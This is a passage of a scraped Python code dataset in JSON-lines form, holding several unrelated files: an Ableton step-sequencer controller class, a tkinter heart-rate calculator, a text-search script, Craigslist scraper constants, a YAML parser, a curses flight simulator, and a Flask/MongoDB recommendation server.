1\n\t\t\t\t\t\tself._update_solo_value()\n\n\n\tdef _update_pads(self): #step grid LEDs are updated here\n\t\tif self.is_enabled() and self._is_active and self._pads != None:\n\t\t\t\tif self._select_button_shifted:\n\t\t\t\t\tself.enable_pads(True)\n\t\t\t\t\tfor x in range(self._height):\n\t\t\t\t\t\tself._pads[x].send_value(127*(x==self._selected_pad))\n\t\t\t\telif self._mute_button_shifted:\n\t\t\t\t\tself.enable_pads(True)\n\t\t\t\t\tfor x in range(self._height):\n\t\t\t\t\t\tself._pads[x].send_value(127*self._is_lane_muted[self._key_indexes[x]])\n\t\t\t\telif self._solo_button_shifted:\n\t\t\t\t\tself.enable_pads(True)\n\t\t\t\t\tfor x in range(self._height):\n\t\t\t\t\t\tself._pads[x].send_value(127*self._is_solo_lane[self._key_indexes[x]])\n\t\t\t\telse:\n\t\t\t\t\tself.enable_pads(False)\n\t\t\t\t\tfor x in range(self._height):\n\t\t\t\t\t\tself._pads[x].send_value(0)\n\n\tdef set_translate_button(self, button):\n\t\tif (button != self._translate_button):\n\t\t\tif (self._translate_button != None):\n\t\t\t\tself._translate_button.remove_value_listener(self._translation_value)\n\t\t\tself._translate_button = button\n\t\t\tif (self._translate_button != None):\n\t\t\t\tself._translate_button.add_value_listener(self._translation_value)\n\t\t\t##self._rebuild_callback()\n\t\t\tself.update()\n\n\tdef _translation_value(self, value):\n\t\tif self.is_enabled() and self._is_active:\n\t\t\tif (value != 0):\n\t\t\t\tif not self._translate_button_shifted:\n\t\t\t\t\tself._translate_button_shifted = True\n\t\t\t\t\tself._key_indexes[0] += 8\n\t\t\t\telse:\n\t\t\t\t\tself._translate_button_shifted = False\n\t\t\t\t\tself._key_indexes[0] -= 8\n\n\t\t\t\tself._compute_key_indexes(False,True,False)\n\t\t\t\tfor index in range(len(self._pads)):\n\t\t\t\t\tself._pads[index].set_identifier(self._key_indexes[index])\n\t\t\t\tself._update_seq_buttons()\n\t\t\t\tself._update_pads()\n\t\t\t\tself._update_translate_button()\n\n\tdef _update_translate_button(self):\n\t\tif self.is_enabled() and self._is_active:\n\t\t\tself._translate_button.set_light(self._translate_button_shifted)\n\n\tdef set_select_button(self, button):\n\t\tif (button != self._select_button):\n\t\t\tif (self._select_button != None):\n\t\t\t\tself._select_button.remove_value_listener(self._select_button_value)\n\t\t\tself._select_button = button\n\t\t\tif (self._select_button != None):\n\t\t\t\tself._select_button.add_value_listener(self._select_button_value)\n\t\t\t##self._rebuild_callback()\n\t\t\tself.update()\n\n\tdef _select_button_value(self, value):\n\t\tif self.is_enabled() and self._is_active:\n\t\t\tif self._select_button_shifted:\n\t\t\t\tself._select_button_shifted = False\n\t\t\telse:\n\t\t\t\tself._select_button_shifted = True\n\t\t\tself._update_pads()\n\t\t\tself._update_select_button()\n\n\tdef _update_select_button(self):\n\t\tif self.is_enabled() and self._is_active:\n\t\t\tself._select_button.set_light(self._select_button_shifted)\n\t\t\t\n\tdef set_record_button(self, button):\n\t\tif (button != self._record_button):\n\t\t\tif (self._record_button != None):\n\t\t\t\tself._record_button.remove_value_listener(self._record_button_value)\n\t\t\tself._record_button = button\n\t\t\tif (self._record_button != None):\n\t\t\t\tself._record_button.add_value_listener(self._record_button_value)\n\t\t\t##self._rebuild_callback()\n\t\t\tself.update()\n\n\tdef _record_button_value(self, value):\n\t\tif self.is_enabled() and self._is_active:\n\t\t\tif self._record_button_shifted:\n\t\t\t\tself._record_button_shifted = False\n\t\t\telse:\n\t\t\t\tself._record_button_shifted = True\n\t\t\t\tclip_slot = self.song().view.highlighted_clip_slot\n\t\t\t\tif clip_slot.has_clip:\n\t\t\t\t\tclip_slot.delete_clip()\n\t\t\t\telse:\n\t\t\t\t\tclip_slot.create_clip(4)\n\n\n\t\t\tself.update()\n\t\t\tself._update_record_button()\n\n\tdef _update_record_button(self):\n\t\tif self.is_enabled() and self._is_active:\n\t\t\tclip_slot = self.song().view.highlighted_clip_slot\n\t\t\tself._record_button.set_light(clip_slot.has_clip)\n\t\t\t\t\t\t\n\tdef set_play_button(self, button):\n\t\tif (button != self._play_button):\n\t\t\tif (self._play_button != None):\n\t\t\t\tself._play_button.remove_value_listener(self._play_button_value)\n\t\t\tself._play_button = button\n\t\t\tif (self._play_button != None):\n\t\t\t\tself._play_button.add_value_listener(self._play_button_value)\n\t\t\t##self._rebuild_callback()\n\t\t\tself.update()\n\n\tdef _play_button_value(self, value):\n\t\tif self.is_enabled() and self._is_active:\n\t\t\tif self._play_button_shifted:\n\t\t\t\tself._play_button_shifted = False\n\t\t\telse:\n\t\t\t\tself._play_button_shifted = True\n\t\t\t\tclip_slot = self.song().view.highlighted_clip_slot\n\t\t\t\tclip_slot.fire()\n\t\t\tself.update()\n\n\tdef _update_play_button(self):\n\t\tif self.is_enabled() and self._is_active:\n\t\t\tclip_slot = self.song().view.highlighted_clip_slot\n\t\t\tself._play_button.set_light(clip_slot.is_playing)\n\n\tdef set_stop_button(self, button):\n\t\tif (button != self._stop_button):\n\t\t\tif (self._stop_button != None):\n\t\t\t\tself._stop_button.remove_value_listener(self._stop_button_value)\n\t\t\tself._stop_button = button\n\t\t\tif (self._stop_button != None):\n\t\t\t\tself._stop_button.add_value_listener(self._stop_button_value)\n\t\t\t##self._rebuild_callback()\n\t\t\tself.update()\n\n\tdef _stop_button_value(self, value):\n\t\tif self.is_enabled() and self._is_active:\n\t\t\tif self._stop_button_shifted:\n\t\t\t\tself._stop_button_shifted = False\n\t\t\telse:\n\t\t\t\tself._stop_button_shifted = True\n\t\t\t\tclip_slot = self.song().view.highlighted_clip_slot\n\t\t\t\tclip_slot.stop()\n\t\t\tself.update()\n\t\t\tself._update_stop_button()\n\n\tdef _update_stop_button(self):\n\t\tif self.is_enabled() and self._is_active:\n\t\t\tclip_slot = self.song().view.highlighted_clip_slot\n\t\t\tself._stop_button.set_light(self._stop_button_shifted)\n\n\tdef set_forward_button(self, button):\n\t\tif (button != self._forward_button):\n\t\t\tif (self._forward_button != None):\n\t\t\t\tself._forward_button.remove_value_listener(self._forward_button_value)\n\t\t\tself._forward_button = button\n\t\t\tif (self._forward_button != None):\n\t\t\t\tself._forward_button.add_value_listener(self._forward_button_value)\n\t\t\t##self._rebuild_callback()\n\t\t\tself.update()\n\n\tdef _forward_button_value(self, value):\n\t\tif self.is_enabled() and self._is_active and value != 0:\n\t\t\tif self._select_button_shifted:\n\t\t\t\tif self._loop_length < 4*self._width*self._quantization:\n\t\t\t\t\tself._loop_end += self._width * self._quantization\n\t\t\t\t\tself._sequencer_clip.loop_end = self._loop_end\n\t\t\telif (self._bank_index+1)*self._width*self._quantization < self._loop_end:\n\t\t\t\tself._bank_index += 1\n\t\t\tself.update()\n\n\tdef set_rewind_button(self, button):\n\t\tif (button != self._rewind_button):\n\t\t\tif (self._rewind_button != None):\n\t\t\t\tself._rewind_button.remove_value_listener(self._rewind_button_value)\n\t\t\tself._rewind_button = button\n\t\t\tif (self._rewind_button != None):\n\t\t\t\tself._rewind_button.add_value_listener(self._rewind_button_value)\n\t\t\t##self._rebuild_callback()\n\t\t\tself.update()\n\n\tdef _rewind_button_value(self, value):\n\t\tif self.is_enabled() and self._is_active and value != 0:\n\t\t\tif self._select_button_shifted:\n\t\t\t\tif self._loop_length > self._width*self._quantization:\n\t\t\t\t\tself._loop_end -= self._width * self._quantization\n\t\t\t\t\tself._sequencer_clip.loop_end = self._loop_end\n\t\t\telif self._bank_index >= 1:\n\t\t\t\tself._bank_index -= 1\n\t\t\tself.update()\n\n\tdef set_pattern_leds(self, leds):\n\t\tif (leds != self._pattern_leds):\n\t\t\tself._pattern_leds = leds\n\t\t\tself.update()\n\n\tdef _update_pattern_leds(self):\n\t\tfor index in range(len(self._pattern_leds)):\n\t\t\tself._pattern_leds[index].send_value(127*(index==self._bank_index)\t, True)\n\n\tdef set_mute_button(self, button):\n\t\tif (button != self._mute_button):\n\t\t\tif (self._mute_button != None):\n\t\t\t\tself._mute_button.remove_value_listener(self._mute_button_value)\n\t\t\tself._mute_button = button\n\t\t\tif (self._mute_button != None):\n\t\t\t\tself._mute_button.add_value_listener(self._mute_button_value)\n\t\t\t##self._rebuild_callback()\n\t\t\tself.update()\n\n\tdef _mute_button_value(self, value):\n\t\tif self.is_enabled() and self._is_active:\n\t\t\tif (value != 0):\n\t\t\t\tif self._mute_button_shifted:\n\t\t\t\t\tself._mute_button_shifted = False\n\t\t\t\t\tself._unmute_all()\n\t\t\t\telse:\n\t\t\t\t\tself._mute_button_shifted = True\n\t\t\t\t\tself._solo_button_shifted = False\n\t\t\t\t\tself._update_mute_value()\n\n\t\t\t\tself._update_pads()\n\t\t\t\tself._update_mute_button()\n\t\t\t\tself._update_solo_button()\n\n\tdef _unmute_all(self):\n\t\tif self._sequencer_clip != None:# and self._sequencer_clip.is_midi_clip:\n\t\t\tself._sequencer_clip.select_all_notes()\n\t\t\tnote_cache = self._sequencer_clip.get_selected_notes()\n\t\t\tif self._clip_notes != note_cache:\n\t\t\t\tself._clip_notes = note_cache\n\t\t\tnote_cache = list(self._clip_notes)\n\t\t\tnotes_changed = 0\n\t\t\tfor note in self._clip_notes:\n\t\t\t\tnotes_changed = notes_changed + 1\n\t\t\t\tnote_to_mute = note\n\t\t\t\tnote_cache.remove(note)\n\t\t\t\tnote_cache.append([note_to_mute[0], note_to_mute[1], note_to_mute[2], note_to_mute[3], False])\n\t\t\tif notes_changed>0:\n\t\t\t\tself._sequencer_clip.select_all_notes()\n\t\t\t\tself._sequencer_clip.replace_selected_notes(tuple(note_cache))\n\t\t\t\tself.update()\n\n\tdef _update_mute_value(self):\n\t\tif self._sequencer_clip != None:# and self._sequencer_clip.is_midi_clip:\n\t\t\tself._sequencer_clip.select_all_notes()\n\t\t\tnote_cache = self._sequencer_clip.get_selected_notes()\n\t\t\tif self._clip_notes != note_cache:\n\t\t\t\tself._clip_notes = note_cache\n\t\t\tnote_cache = list(self._clip_notes)\n\t\t\tnotes_changed = 0\n\t\t\tfor note in self._clip_notes:\n\t\t\t\tnotes_changed = notes_changed + 1\n\t\t\t\tnote_to_mute = note\n\t\t\t\tnote_cache.remove(note)\n\t\t\t\tnote_cache.append([note_to_mute[0], note_to_mute[1], note_to_mute[2], note_to_mute[3], self._is_lane_muted[note_to_mute[0]]])\n\t\t\tif notes_changed>0:\n\t\t\t\tself._sequencer_clip.select_all_notes()\n\t\t\t\tself._sequencer_clip.replace_selected_notes(tuple(note_cache))\n\t\t\t\tself.update()\n\n\tdef _update_mute_button(self):\n\t\tif self.is_enabled() and self._is_active:\n\t\t\tself._mute_button.set_light(self._mute_button_shifted)\n\n\tdef set_solo_button(self, button):\n\t\tif (button != self._solo_button):\n\t\t\tif (self._solo_button != None):\n\t\t\t\tself._solo_button.remove_value_listener(self._solo_button_value)\n\t\t\tself._solo_button = button\n\t\t\tif (self._solo_button != None):\n\t\t\t\tself._solo_button.add_value_listener(self._solo_button_value)\n\t\t\t##self._rebuild_callback()\n\t\t\tself.update()\n\n\tdef _solo_button_value(self, value):\n\t\tif self.is_enabled() and self._is_active:\n\t\t\tif (value != 0):\n\t\t\t\tif self._solo_button_shifted:\n\t\t\t\t\tself._solo_button_shifted = False\n\t\t\t\t\tself._unmute_all()\n\t\t\t\telse:\n\t\t\t\t\tself._solo_button_shifted = True\n\t\t\t\t\tself._mute_button_shifted = False\n\t\t\t\t\tself._update_solo_value()\n\t\t\t\tself._update_pads()\n\t\t\t\tself._update_solo_button()\n\t\t\t\tself._update_mute_button()\n\n\tdef _update_solo_button(self):\n\t\tif self.is_enabled() and self._is_active:\n\t\t\tself._solo_button.set_light(self._solo_button_shifted)\n\n\tdef _update_solo_value(self):\n\t\tif self._sequencer_clip != None:# and self._sequencer_clip.is_midi_clip:\n\t\t\tself._sequencer_clip.select_all_notes()\n\t\t\tnote_cache = self._sequencer_clip.get_selected_notes()\n\t\t\tif self._clip_notes != note_cache:\n\t\t\t\tself._clip_notes = note_cache\n\t\t\tnote_cache = list(self._clip_notes)\n\t\t\tnotes_changed = 0\n\t\t\tif self._solo_lanes_count == 0:\n\t\t\t\tfor note in self._clip_notes:\n\t\t\t\t\tnotes_changed = notes_changed + 1\n\t\t\t\t\tnote_to_mute = note\n\t\t\t\t\tnote_cache.remove(note)\n\t\t\t\t\tnote_cache.append([note_to_mute[0], note_to_mute[1], note_to_mute[2], note_to_mute[3], False])\n\t\t\telse:\n\t\t\t\tfor note in self._clip_notes:\n\t\t\t\t\tnotes_changed = notes_changed + 1\n\t\t\t\t\tnote_to_mute = note\n\t\t\t\t\tnote_cache.remove(note)\n\t\t\t\t\tnote_cache.append([note_to_mute[0], note_to_mute[1], note_to_mute[2], note_to_mute[3], not self._is_solo_lane[note[0]]])\n\t\t\tif notes_changed>0:\n\t\t\t\tself._sequencer_clip.select_all_notes()\n\t\t\t\tself._sequencer_clip.replace_selected_notes(tuple(note_cache))\n\t\t\t\tself.update()\n\n\tdef _compute_key_indexes(self,force=False,up=True,down=True):\n\t\t\t\t\n\t\tif (self._is_fold or self._is_scale_fold) and not self._scale_fold_shift:\n\t\t\tif force:\n\t\t\t\t#when switching to fold mode \n\t\t\t\tkey_index=self._key_indexes[0] #use previous base key\n\t\t\t\tnew_key_index = key_index #set default value if not match found\n\t\t\t\t#find base note\n\t\t\t\tinc=0\n\t\t\t\tfound_base_note=False\n\t\t\t\twhile not found_base_note and (key_index+inc<=127 or key_index-inc>=0):\n\t\t\t\t\tif key_index+inc<=127 and up:\n\t\t\t\t\t\t#look upwards\n\t\t\t\t\t\tif self._is_fold and self._is_used(key_index+inc) or self._is_scale_fold and self._scale[(key_index+inc)%12]:\n\t\t\t\t\t\t\tnew_key_index=key_index+inc\n\t\t\t\t\t\t\tfound_base_note=True\n\t\t\t\t\t\t\t#self._parent._parent.log_message(\"found base note: +\"+str(inc))\n\t\t\t\t\tif key_index-inc>=0 and down:\n\t\t\t\t\t\t#look downwards\n\t\t\t\t\t\tif self._is_fold and self._is_used(key_index-inc) or self._is_scale_fold and self._scale[(key_index-inc)%12]:\n\t\t\t\t\t\t\tnew_key_index=key_index-inc\n\t\t\t\t\t\t\tfound_base_note=True\n\t\t\t\t\t\t\t#self._parent._parent.log_message(\"found base note: -\"+str(inc))\n\t\t\t\t\tinc=inc+1\n\t\t\t\t\t\n\t\t\t\tself._key_indexes[0]=new_key_index #set found value\n\t\t\t\t#fill in the 7 other lanes with notes\n\t\t\t\tfor i in range(self._height-1):\n\t\t\t\t\tkey_index=self._key_indexes[i+1 -1] +1 #set base for search\n\t\t\t\t\tnew_key_index=key_index # set an initial value if no match found\n\t\t\t\t\tfound_other_note=False\n\t\t\t\t\tinc=0\n\t\t\t\t\twhile not found_other_note and (key_index+inc<127):\n\t\t\t\t\t\tif self._is_fold and self._is_used(key_index+inc) or self._is_scale_fold and self._scale[(key_index+inc)%12]:\n\t\t\t\t\t\t\tnew_key_index=key_index+inc\n\t\t\t\t\t\t\tfound_other_note=True\n\t\t\t\t\t\t\tfound_base_note=True\n\t\t\t\t\t\t\t#self._parent._parent.log_message(\"found note\"+str(i+1)+\": +\"+str(inc))\n\t\t\t\t\t\tif not found_base_note:\n\t\t\t\t\t\t\tfound_other_note=True\n\t\t\t\t\t\t\tnew_key_index=key_index+inc\n\t\t\t\t\t\t\t#self._parent._parent.log_message(\"found note\"+str(i+1)+\": +\"+str(inc))\n\t\t\t\t\t\tinc=inc+1\n\t\t\t\t\tself._key_indexes[i+1]=new_key_index #set found value\n\t\t\t\t\t\n\t\telif (self._drum_group_device!=None):\n\t\t\ti = 0\n\t\t\tfor index in range(len(self._drum_group_device.drum_pads)):\n\t\t\t\tif(index>=self._key_indexes[0]):\n\t\t\t\t\tif(self._drum_group_device.drum_pads[index].chains):\n\t\t\t\t\t\tif(i\", calc)\n\n # Bind the clear function to the clear button so\n # that the clear function will be called when the\n # user clicks the clear button.\n btn_clear.config(command=clear)\n\n # Give the keyboard focus to the age entry box.\n ent_age.focus()\n\n\n# If this file is executed like this:\n# > python heart_rate.py\n# then call the main function. However, if this file is simply\n# imported (e.g. into a test file), then skip the call to main.\nif __name__ == \"__main__\":\n main()\n\n\"\"\"\n- To create its GUI, the heart_rate program uses the tkinter module which is imported at line 1.\n- The main function begins at line 5.\n- The main function creates a tk.TK root object and uses that object to create the main window for the program.\n- Beginning at line 47, the populate_main_window function creates labels, text entry boxes, and buttons and places them in a grid.\n- Inside the populate_main_window function, there are two nested functions named calc and clear. The calc function is called each time the user enters a digit in the age text field. The clear function is called each time the user clicks the \"Clear\" button.\n\"\"\"","sub_path":"w12-using-objects/teach-gui-simple-calculation/heart_rate.py","file_name":"heart_rate.py","file_ext":"py","file_size_in_byte":5112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"509447652","text":"import os\nimport re\nimport sys\nimport argparse\n\nclass Text_search:\n \n def __init__(self, string2, path1, i=None):\n self.path1=path1\n self.string1=string2\n self.i=i\n if self.i:\n string2=string2.lower()\n self.string2=re.compile(string2)\n \n # Will return the file's name in which string is found! \n def text_search(self):\n file_number=0;\n files=[f for f in os.listdir(self.path1) if os.path.isfile(self.path1+\"/Users/riyaverma/Desktop/intDataset\"+f)]\n for file in files:\n file_t=open(self.path1+\"/Users/riyaverma/Desktop/intDataset\"+file)\n file_text=file_t.read()\n if self.i:\n file_text=file_text.lower()\n file_t.close()\n if re.search(self.string2,file_text):\n print(\"the text \"+self.string1+\" found in \",file)\n file_number+=1\n print(\"Total files are: \",file_number)\n \n \n # It will eventually return the file name and line number in which given string is matched\n def text_search_line(self):\n files=[f for f in os.listdir(self.path1)if os.path.isfile(self.path1+\"/Users/riyaverma/Desktop/intDataset\"+f)]\n file_number=0\n for file in files:\n file_t=open(self.path1+\"/Users/riyaverma/Desktop/intDataset\"+file)\n line_number=1\n flag_file=0\n for line_1 in file_t:\n if self.i:\n line_1=line_1.lower()\n if re.search(self.string2, line_1):\n flag_file=1\n print(\"The text \"+ self.string1+\" found in \",file,\"at line number\",line_number)\n line_number+=1\n if flag_file==1:\n file_number+=1\n flag_file=0\n file_t.close()\n print(\"Total Files are: \",file_number)\n \n\ndef main():\n parser=argparse.ArgumentParser(version='1.0')\n parser.add_argument('-m' ) #works for the text_search_Line\n parser.add_argument('-s' ) #works for text_search\n\n args=parser.parse_args()\n \n if args.m: \n dir = args.m[1]\n obj1 = Text_search(args.m[0],dir)\n obj1.text_search_line()\n \n elif args.s: \n dir = args.s[1]\n obj1 = Text_search(args.s[0],dir)\n obj1.text_search()\n \n ","sub_path":"text_search_algo.py","file_name":"text_search_algo.py","file_ext":"py","file_size_in_byte":2401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"584053602","text":"BASE_URL = \"http://www.craigslist.org/\"\nEAST_BAY_APT = \"search/eby/apa\"\nGECODOING_URL = \"https://maps.googleapis.com/maps/api/geocode/json?latlng=\"\nOFFSET = 2400\n#Periodically update the operating system and broswer version number\nUSER_AGENT = \"Mozilla/5.0 (Macintosh; Intel MAC OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36\"\n\nclass Listing:\n def __init__(self):\n self.url = \"\"\n self.prop_name = \"\"\n self.date = \"\"\n self.city = \"\"\n self.zipcode = \"\"\n self.footage = \"\"\n self.bed = \"\"\n self.bath = \"\"\n self.price = \"\"\n self.lat = \"\"\n self.longitude = \"\"\n self.address = \"\"\n","sub_path":"global_const.py","file_name":"global_const.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"217750161","text":"# coding: utf-8\nimport re\n\n__author__ = 'xudazhou'\n\n\ndef parseyml(p_ymlname):\n \"\"\"\n 解析 yml 文件,返回一个 dict\n output_dir 输出路径,目前只支持只有一个输出路径\n :param p_ymlname:\n :return:\n \"\"\"\n res_dict = dict()\n ymlfile = open(p_ymlname)\n line = ymlfile.readline()\n while line:\n line = line.rstrip()\n if line.startswith(\"OUTPUT_DIRS\"):\n line = ymlfile.readline()\n while line:\n line = line.rstrip()\n if re.match(\"^\\S\", line) and not line.startswith(\"#\"):\n break\n line = line.lstrip()\n if not line.startswith(\"#\"):\n res_dict[\"output_dir\"] = line\n break\n line = ymlfile.readline()\n line = ymlfile.readline()\n\n return res_dict\n\n\nif __name__ == \"__main__\":\n print(parseyml(\"E:\\\\TDDOWNLOAD\\\\temp\\\\lishantao_train.yml\"))\n","sub_path":"ls_ymlparse/parseyml.py","file_name":"parseyml.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"447885101","text":"from __future__ import division\nimport curses\nimport math\nfrom random import randint, gauss, uniform\nimport time\n###Flight simulator.\n#Write a code in python that simulates the tilt correction of the plane (angle between plane wings and earth).\n##The program should:\n# - print out current orientation\n# - applied tilt correction\n# - run in infinite loop\n# - until user breaks the loop\n#Assume that plane orientation in every new simulation step is random angle with gaussian distribution (the planes is experiencing \"turbulations\").\n#With every simulation step the orentation should be corrected, applied and printed out.\n#If you can thing of any other features, you can add them.\n#This code shoud be runnable with 'python kol1.py'.\n#If you have spare time you can implement: Command Line Interface, generators, or even multiprocessing.\n#Do your best, show off with good, clean, well structured code - this is more important than number of features.\n#After you finish, be sure to UPLOAD this (add, commit, push) to the remote repository.\n#Good Luck\n\nTITLE = \"Flight Simulator\"\nWIDTH = 80\nHEIGHT = 16\nMAX_X = WIDTH - 2\nMAX_Y = HEIGHT - 2\nTIMEOUT = 100\n\ndef print_start_text(window):\n print(\"\\tWelcome to Flight Simulator, to stop program press: 'q' or Ctrl + C\")\n time.sleep(2)\n\ndef update(*args):\n for arg in args:\n arg.update()\n\ndef render(*args):\n for arg in args:\n arg.render()\n\n\nclass Wind(object):\n mean = 45.0\n sdt_dev = 10.0\n value = 0\n direction = 0\n\n def __init__(self, window):\n self.window = window\n\n def update(self):\n self.value = uniform(0.3, 0.9)\n self.direction = int(gauss(self.mean, self.sdt_dev))\n\n def render_angle(self):\n x, y = 2, MAX_Y - 1\n self.window.addstr(y, x, 'Value:')\n self.window.addstr(y, x + 6, \"{0:.1f}\".format(self.value))\n for val in range(int(self.value*10)):\n self.window.addstr(y - val - 1, x + 4, '=')\n\n def render_direction(self):\n x, y = 15, MAX_Y -1\n self.window.addstr(y, x, 'Direction:')\n self.window.addstr(y, x + 10, str(self.direction))\n for val in range(int(self.direction / 10.0)):\n self.window.addstr(y - val - 1, x + 5, '=')\n\n def render(self):\n self.window.addstr(MAX_Y, 11, 'Wind')\n self.render_angle()\n self.render_direction()\n\n\nclass Route(object):\n current_pos = 1\n percentage = 0\n\n def __init__(self, window=None):\n self.start_point = (0, 0)\n self.end_point = (randint(10, 30), randint(10, 30))\n self.length = math.sqrt(self.end_point[0] * self.end_point[0] +\n self.end_point[1] * self.end_point[1])\n self.window = window\n self.title = 'Route'\n\n def update(self):\n self.current_pos += 1\n self.percentage = self.current_pos / self.length * 100\n if self.percentage >= 100.0:\n self.end_flight()\n\n def render(self):\n x, y = 2, 1\n MAX_LENGTH = MAX_X - 15\n self.window.addstr(y, x, self.title + ': ' +\n \"{0:.1f}\".format(self.percentage) + '%')\n self.window.addstr(y, x + 14, 'Length: ' + \"{0:.1f}\".format(self.length))\n\n self.window.addstr(y + 1, x, 'Start point: (' + str(self.start_point[0]) +\n \", \" + str(self.start_point[1]) + ')')\n\n self.window.addstr(y + 2, x, 'End point: (' + str(self.end_point[0]) +\n \", \" + str(self.end_point[1]) + ')')\n\n self.window.addstr(y + 3, x, 'start:')\n self.window.addstr(y + 3, MAX_X -3, ':end')\n for val in range(int(MAX_LENGTH * self.percentage / 100)):\n self.window.addstr(y + 3, x + val + 7, '=')\n\n def end_flight(self):\n self.window.clear()\n self.window.addstr(5, 5, 'Flight has ended')\n time.sleep(1)\n exit()\n\nclass Plane(object):\n oryginal_angle = 0\n direction_angle = 0.0\n\n def __init__(self, route, wind, window=None):\n self.window = window\n self.calculate_direction(route)\n self.wind = wind\n\n def calculate_direction(self, route):\n self.direction_angle = math.degrees(math.asin(route.end_point[1] / route.length))\n self.oryginal_angle = self.direction_angle\n\n def update(self):\n self.direction_angle = wind.direction - self.direction_angle * self.wind.value\n\n def render_calculated(self):\n x, y = 35, MAX_Y -1\n self.window.addstr(y, x, 'Calculated angle:')\n self.window.addstr(y, x + 17, \"{0:.1f}\".format(self.oryginal_angle))\n for val in range(int(self.oryginal_angle / 10.0)):\n self.window.addstr(y - val - 1, x + 9, '=')\n\n def render_corrected(self):\n x, y = 60, MAX_Y -1\n self.window.addstr(y, x, 'Correction:')\n self.window.addstr(y, x + 11, \"{0:.1f}\".format(self.direction_angle))\n for val in range(int(self.direction_angle / 10.0)):\n self.window.addstr(y - val - 1, x + 6, '=')\n\n def render(self):\n self.window.addstr(MAX_Y, 55, 'Plane')\n self.render_calculated()\n self.render_corrected()\n\n\n\nif __name__ == '__main__':\n curses.initscr()\n curses.beep()\n curses.beep()\n window = curses.newwin(HEIGHT, WIDTH, 0, 0)\n window.timeout(TIMEOUT)\n window.keypad(1)\n curses.noecho()\n curses.curs_set(0)\n window.border(0)\n\n wind = Wind(window)\n route = Route(window)\n plane = Plane(route, wind, window)\n print_start_text(window)\n\n\n while True:\n window.clear()\n window.border(0)\n window.addstr(0, 5, TITLE)\n\n render(wind, route, plane)\n\n event = window.getch()\n if event == ord('q'):\n break\n\n\n update(wind, route, plane)\n time.sleep(1)\n\n\n curses.endwin()\n","sub_path":"kol1.py","file_name":"kol1.py","file_ext":"py","file_size_in_byte":5826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"200585845","text":"from flask import Flask, jsonify, request, render_template\nfrom .config import config as config_flask\nimport json\nfrom flask_cors import CORS\nimport sys\nfrom pymongo import MongoClient\nimport pandas as pd\nimport pdb\nfrom golosio_recommendation_model.model.utils import get_events\nfrom golosio_recommendation_model.config import config\n\ndatabase_url = config['database_url']\ndatabase_name = config['database_name']\nevents = get_events(database_url, database_name)\n\napp = Flask(__name__)\nport = 8080 # Use desired port\n\n@app.route('/users')\ndef users():\n return jsonify(events[events[\"like\"] >= 0.7][\"user_id\"].unique().tolist())\n\n@app.route('/history')\ndef history():\n user = request.args.get(\"user\")\n user_events = events[(events[\"user_id\"] == user) & (events[\"like\"] >= 0.7)]\n return jsonify(user_events[\"post_permlink\"].unique().tolist())\n\n@app.route('/user_id')\ndef user_id():\n client = MongoClient(database_url)\n db = client[database_name]\n user_name = request.args.get(\"user_name\")\n user = db.account.find_one(\n {\n 'name': user_name\n }, {\n 'user_id': 1\n }\n )\n return jsonify({'user_id': user['user_id']})\n\n@app.route('/recommendations')\ndef recommendations():\n user = request.args.get(\"user\")\n client = MongoClient(database_url)\n db = client[database_name]\n recommendations_df = pd.DataFrame(list(db.recommendation.find(\n {\n 'user_id': user\n }, {\n 'post_permlink': 1,\n 'prediction': 1\n }\n )))\n if (recommendations_df.shape[0] > 0):\n recommendations_df = recommendations_df.sort_values([\"prediction\"], ascending=[0])\n recommendations_json = recommendations_df.drop([\"_id\"], axis=1).to_dict('records')\n return jsonify(recommendations_json)\n else:\n return jsonify([])\n\n@app.route('/similar')\ndef similar():\n permlink = request.args.get(\"permlink\")\n client = MongoClient(database_url)\n db = client[database_name]\n comment = db.comment.find_one(\n {\n '_id': permlink[1:]\n }, {\n 'committed_similar_posts': 1,\n 'committed_similar_distances': 1\n }\n )\n if comment:\n return jsonify(list(zip(comment[\"committed_similar_posts\"], comment[\"committed_similar_distances\"])))\n else:\n return jsonify([])\n\n@app.route('/post_recommendations')\ndef post_recommendations():\n permlink = request.args.get(\"permlink\")\n user = request.args.get(\"user\")\n client = MongoClient(database_url)\n db = client[database_name]\n comment = db.comment.find_one(\n {\n '_id': permlink[1:]\n }, {\n 'committed_similar_posts': 1,\n 'committed_similar_distances': 1\n }\n )\n recommendations_df = pd.DataFrame(list(db.recommendation.find(\n {\n 'user_id': user,\n 'post_permlink': {\"$in\": comment['committed_similar_posts']}\n }, {\n 'post_permlink': 1,\n 'prediction': 1\n }\n )))\n if (recommendations_df.shape[0] > 0):\n recommendations_df = recommendations_df.sort_values([\"prediction\"], ascending=[0])\n recommendations_json = recommendations_df.drop([\"_id\"], axis=1).to_dict('records')\n return jsonify(recommendations_json)\n else:\n return jsonify([])\n\ndef run_recommendations_server():\n CORS(app)\n config_flask(app)\n app.run(port=port)\n\nif __name__ == '__main__':\n run_server()\n","sub_path":"golosio_recommendation_model/server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"70893330","text":"\n\ndef get_nic(self):\n if self.nic:\n return self.nic\n args = {\n 'virtualmachineid': self.get_vm(key='id'),\n 'networkdid': self.get_network(key='id'),\n }\n nics = self.cs.listNics(**args)\n if nics:\n self.nic = nics['nic'][0]\n return self.nic\n self.module.fail_json(msg=('NIC for VM %s in network %s not found' % (self.get_vm(key='name'), self.get_network(key='name'))))\n","sub_path":"Data Set/bug-fixing-2/f6e40198044ec2a4a575037010b156da444a9f30--bug.py","file_name":"f6e40198044ec2a4a575037010b156da444a9f30--bug.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"306762623","text":"# -*- coding: utf-8 -*-\n'''\n功能:查询一次(指定关键字和来源网站)\n'''\n\nfrom sysdb import SysDb # 数据库\nfrom baidusearcher import baidusearcher # 百度爬虫\nfrom process import searchPageProcess\nfrom process import 